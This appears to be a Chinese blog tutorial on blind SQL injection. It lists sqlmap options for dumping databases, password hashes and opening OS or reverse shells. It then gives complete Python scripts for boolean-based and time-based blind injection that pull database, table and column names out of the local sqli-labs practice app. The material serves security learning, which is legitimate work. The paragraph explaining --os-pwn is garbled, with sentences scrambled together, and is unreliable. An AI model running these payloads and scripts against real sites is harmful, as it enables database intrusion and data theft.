当前位置: 首页 > article >正文

SQL注入之布尔盲注+时间盲注

1.sqlmap基本用法

通用参数
-h,显示帮助情况
-hh,显示高级帮助信息
--version,显示版本信息
-v verbose,设置输出的详细程度,范围为0,6,默认为1,越高越多
目标参数
-u URL,指定目标URL,如果使用Linux测试Windows靶场,地址为192.168.X.1,不要用127.0.0.1
-g :处理Google Dork 结果作为目标URL
Google Dork 是什么?
就是Google搜索的语法,在信息收集案例.md里有
请求参数
--data=data:通过POST请求发送的数据字符串,例如"id=1"
--cookie=COOKIE:设置http请求头中的cookie
--random-agent:随机选择一个http user-agent头部来伪装请求。
--proxy=proxy:使用代理服务器连接目标URL,代理格式为http://ip:port
--tor:通过tor网络匿名连接
Tor(The Onion Router)是一种用于实现匿名通信的自由软件,由美国非盈利组织The Tor Project, Inc开发与维护

Tor的名称来源于“洋葱路由”(The Onion Router)的缩写,其核心技术是通过多层加密和多跳代理来保护用户的隐私和匿名性

--check-tor:检查是否正确使用tor网络
注入参数
-p :指定要测试的参数,可以是一个或多个。例如:-p id,会测试id参数
--dbms=DBMS:强制设置后台数据库管理系统,例如MySQL或PostgreSQL
检测参数
--level=level:设置测试的级别,默认是1,范围1~5,越大越强
--risk=risk:设置风险等级,范围1~3,默认值1,越大风险越高
技术参数
--technique=THCH:指定使用的SQL注入技术,默认是"BEUSTQ",B是布尔盲注,E报错注入,U是联合查询
枚举参数
-a,检索所有信息
-b,获取数据库横幅信息
--current-user:获取当前的DBMS用户信息
--current-db:获取当前的DBMS数据库名称
--passwords:枚举DBMS用户的密码哈希
--dbs:枚举DBMS中的所有数据库
--tables:枚举数据库中的所有表
--columns:枚举表中的字段
--schema:枚举DBMS的所有模式
--dump:转储(导出)数据库中的数据
--dump-all:导出所有数据库数据
-D:指定数据库
-T:指定表
-C:指定列
操作系统访问参数
--os-shell:打开一个交互式操作系统shell,这就是into outfile,需要三条件
--os-pwn:获取反向shell或者连接
--os---poswn-pwn 参数在 参数 是sql sqlmapmap 提 中供是的一一个种强功能大的,用功能于,它通过允许 SQL攻击 注者入通过漏洞 SQL获取 注目标入系统漏洞的在操作目标系统数据库权限所在。的它服务器利用上数据库执行管理操作系统系统(命DBMS令)的漏洞执行恶,意甚至命获得令,反向通常 shell通过(数据库例如的:扩通过展 Net功能cat( 或如 Meter preterxp _cmdshell连接到 或攻击其他者系统的存机器储)。过程这一)攻击来方式触不发需要命目标令用户执行点击,从链接而,而是建立通过一个数据库反权限向、 shell。配置攻击或漏洞者执行可以恶通过意该命反令向。

通用参数
--batch:自动使用默认行为,不需要输入
--flush-session:清空当前连接

2.布尔盲注

import requests
 
url = 'http://127.0.0.1/sqli-labs-master/Less-8/index.php'
 
 
def database_name():
    datebasename = ''
    for i in range(1, 9):  # 假设数据库名称最多8个字符
        for j in range(32, 128):  # ascii 可见字符范围从32到127
            payload = f"?id=1' AND ASCII(SUBSTRING(DATABASE(), {i}, 1)) = {j}-- "
            res = requests.get(url + payload)
 
            if res.status_code == 200:  # 确保请求成功
                if "You are in..........." in res.text:  # 这个字符串是针对成功响应的标志
                    datebasename += chr(j)
                    print(f"正在构建数据库名称: {datebasename}")
                    break  # 找到当前字符后跳出内层循环,继续下一个字符的查找
 
    print(f"数据库名称是: {datebasename}")
 
 
# 调用函数
database_name()
 二分查找
import requests
 
url = 'http://127.0.0.1/sqli-labs-master/Less-8/index.php'
 
 
#mysql中的substr(string,start,dugt)三个参数分别是被截取的字符串,起始位置,截取长度
def database_name():
    datebasename = ''
    for i in range(1, 9):  # 假设数据库名称最多8个字符
        start = 32
        end = 128
        while start <= end: #起始端等于终止端时命中
            middle = (start + end) // 2
            payload = f"?id=1' and ascii(substr(database(), {i}, 1)) > {middle}-- "
            res = requests.get(url + payload)
 
            if res.status_code == 200:  # 确保请求成功,这个属性可以拿到页面返回的状态码
                if "You are in..........." in res.text:  # 这个字符串是针对成功响应的标志
                    start = middle + 1 # 大于的情况下,证明目标字符在后半段
                else:
                    end = middle - 1 # 小于的情况证明目标字符在前半段
        if start > end:
            datebasename = datebasename + chr(start) # 退出内层循环,命中,这里不适用end和middle,最后一次循环end-1,middle由于是整除,结果会偏差1
            print(f"数据库名称是: {datebasename}")
 
database_name()
 
#mysql中的if(string,one,two)当string为真执行one,否则执行two
#在MySQL默认数据库information_schema的表tables中字段table_name存有表的名称,前面的table_schema字段是数据库对应名称
#mysql中limit 5,1,第一个表示从第几行开始,是开区间会从第6行开始,第二个参数表示返回的行数,如果只有一个参数,会默认从第一行返回对应行数
def table_name():
    tablename = ''
    for i in range(1,20):
        start = 32
        end = 128
        while start <= end:
            middle = (start + end) // 2
            payload = f"?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{i},1)) > {middle}-- "
            res = requests.get(url + payload)#通过调整limit的参数可以把数据库的所有表名拿到
 
            if res.status_code == 200:  # 确保请求成功,这个属性可以拿到页面返回的状态码
                if "You are in..........." in res.text:  # 这个字符串是针对成功响应的标志
                    start = middle + 1  # 大于的情况下,证明目标字符在后半段
                else:
                    end = middle - 1  # 小于的情况证明目标字符在前半段
            if start > end:
                tablename = tablename + chr(start)  # 退出内层循环,命中,这里不适用end和middle,最后一次循环end-1,middle由于是整除,结果会偏差1
                print(f"表名称是: {tablename}")
table_name()
 
#在MySQL默认数据库里information_schema的表columns中字段column_name存有字段名称,前面的table_name字段是对应的表名
def column_name():
    columnname = ''
    for i in range(1,20):
        start = 32
        end = 128
        while start <= end:
            middle = (start + end) // 2
            payload = f"?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),{i},1)) > {middle}-- "
            res = requests.get(url + payload)
 
            if res.status_code == 200:
                if "You are in..........." in res.text:  # 这个字符串是针对成功响应的标志
                    start = middle + 1  # 大于的情况下,证明目标字符在后半段
                else:
                    end = middle - 1  # 小于的情况证明目标字符在前半段
            if start > end:
                columnname += chr(start)
                print(f"字段名是:{columnname}")
column_name()

 3.时间盲注

 二分查找
import time
 
import requests
 
url = 'http://127.0.0.1/sqli-labs-master/Less-9/index.php'
 
#mysql中if函数有三个参数,第一个是子表达式,第二个是子表达式为真时返回的结果,第三个是为假返回的结果
def database_name():
    datebasename = ''
    for i in range(1, 9):  # 假设数据库名称最多8个字符
        start = 32
        end = 128
        while start <= end: #起始端等于终止端时命中
            middle = (start + end) // 2
            payload = f"?id=1' and if(ascii(substr(database(),{i},1)) > {middle},sleep(2),1)-- "
            start_time = time.time()
            res = requests.get(url + payload)
            end_time = time.time()
 
            if res.status_code == 200:  # 确保请求成功,这个属性可以拿到页面返回的状态码
                if (end_time - start_time) >= 2:  # 这个时间差证明满足条件
                    start = middle + 1 # 大于的情况下,证明目标字符在后半段
                else:
                    end = middle - 1 # 小于的情况证明目标字符在前半段
        if start > end:
            datebasename = datebasename + chr(start) # 退出内层循环,命中,这里不适用end和middle,最后一次循环end-1,middle由于是整除,结果会偏差1
            print(f"数据库名称是: {datebasename}")
 
database_name()
 
def table_name():
    tablename = ''
    for i in range(1, 20):
        start = 32
        end = 126
        while start <= end:
            middle = (start + end) // 2
            payload = f"?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),{i},1) > {middle},sleep(2),1)-- "
            start_time = time.time()
            res = requests.get(url + payload)
            end_time = time.time()
 
            if res.status_code == 200:
                if (end_time - start_time) >= 2:
                    start = middle + 1
                else:
                    end = middle - 1
        if start > end:
            if middle == 0:
                break
            tablename += chr(start)
            print(f"表名称是: {tablename}")
 
table_name()
 
def column_name():
    columnname = ''
    for i in range(1, 20):
        start = 32
        end = 128
        while start <= end:
            middle = (start + end) // 2
            payload = f"?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),{i},1)) > {middle},sleep(2),1)-- "
            start_time = time.time()
            res = requests.get(url + payload)
            end_time = time.time()
 
            if res.status_code == 200:
                if (end_time - start_time) >= 2:
                    start = middle + 1
                else:
                    end = middle - 1
        if start > end:
            if middle == 0:
                break
            columnname += chr(start)
            print(f"字段名是: {columnname}")
 
column_name()


http://www.kler.cn/a/549628.html

相关文章:

  • 【数据库维护】Clickhouse数据库维护关键系统表相关指标说明,支撑定位慢SQL及多实例场景下分析各实例运行情况
  • Qt使用pri和pro文件进行模块化编程
  • 机器学习·逻辑回归
  • 华为昇腾920b服务器部署DeepSeek翻车现场
  • IPv4 协议和TCP 协议的区别
  • Ruby 文件的输入与输出
  • 【16】思科AireOS:创建使用 LWA 认证的 WLAN
  • 图论入门算法:拓扑排序(C++)
  • 【华为OD机考】华为OD笔试真题解析(7)--基站维修工程师
  • 《qt open3d网格平滑》
  • 143,【3】 buuctf web [GYCTF2020]EasyThinking
  • 【第10章:自然语言处理高级应用—10.1 命名实体识别(NER)与关系抽取的实现与应用】
  • nginx-优化策略
  • Docker 修改配置后无法启动问题
  • 《OpenCV》——特征提取与匹配方法
  • 【Unity3D】Jenkins Pipeline流水线自动构建Apk
  • LeetCode--15. 三数之和
  • 在C++的DLL文件中定义的结构体,在DLL外可以使用吗,如何使用?
  • 兔兔答题应用于微信考试、付费考试、社会调查问卷、明星知识问答、员工培训考核、模拟自测、企业面试、试题库等多种场景。
  • 2D 游戏艺术、动画和光照